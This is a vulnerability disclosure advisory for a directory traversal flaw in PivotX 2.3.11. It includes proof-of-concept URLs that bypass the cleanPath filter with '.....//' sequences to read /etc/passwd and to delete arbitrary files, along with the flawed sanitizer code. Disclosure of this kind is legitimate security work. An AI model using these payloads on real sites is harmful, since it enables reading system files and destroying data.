PivotX 2.3.11 - Directory Traversal

1. Introduction
 
Affected Product:    PivotX 2.3.11
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://pivotx.net/
Vulnerability Type:  Directory Traversal
Remote Exploitable:  Yes
Reported to vendor:  01/20/2016
Disclosed to public: 03/15/2016
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH
 
2. Overview
 
PivotX is a CMS for blogging written in PHP. In version 2.3.11, it is
vulnerable to Directory Traversal, allowing authenticated users to read and
delete files outside of the PivotX directory.
 
3. Details
 
Description
 
CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:P/I:N/A:N
 
The function cleanPath which is responsible for sanitizing path names can be
bypassed by an attacker, leading to directory traversal in multiple places.
 
Proof of Concept
 
Admins and Superadmins can read any file:
 
http://localhost/pivotx_latest/pivotx/ajaxhelper.php?function=view&basedir=
L3Zhci93d3cvcGl2b3R4X2xhdGVzdC9CYXNlZGlyLwo=&file=../.....//...//.....//.../
/.....//...//.....//...//.....//...//.....//...//etc/passwd
 
Advanced users, Admins and Superadmins can delete any file, possibly leading to
DOS:
 
http://localhost/pivotx_latest/pivotx/index.php?page=media&del=.....//.../
/.....//...//.....//...//.....//...//.....//...//.....//...//important/
important.file&pivotxsession=ovyyn4ob2jc5ym92
 
Code
 
lib.php
function cleanPath($path) {
    $path = str_replace('../', '', $path);
    $path = str_replace('..\\', '', $path);
    $path = str_replace('..'.DIRECTORY_SEPARATOR, '', $path);
    return $path;
}
 
4. Solution
 
This issue was not fixed by the vendor.
 
5. Report Timeline
 
01/20/2016 Informed Vendor about Issue
01/29/2016 Vendor replies, PivotX is not maintained anymore
03/15/2016 Disclosed to public
 
 
Blog Reference:
https://blog.curesec.com/article/blog/PivotX-2311-Directory-Traversal-154.html
  
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#  0day.today [2018-02-16]  #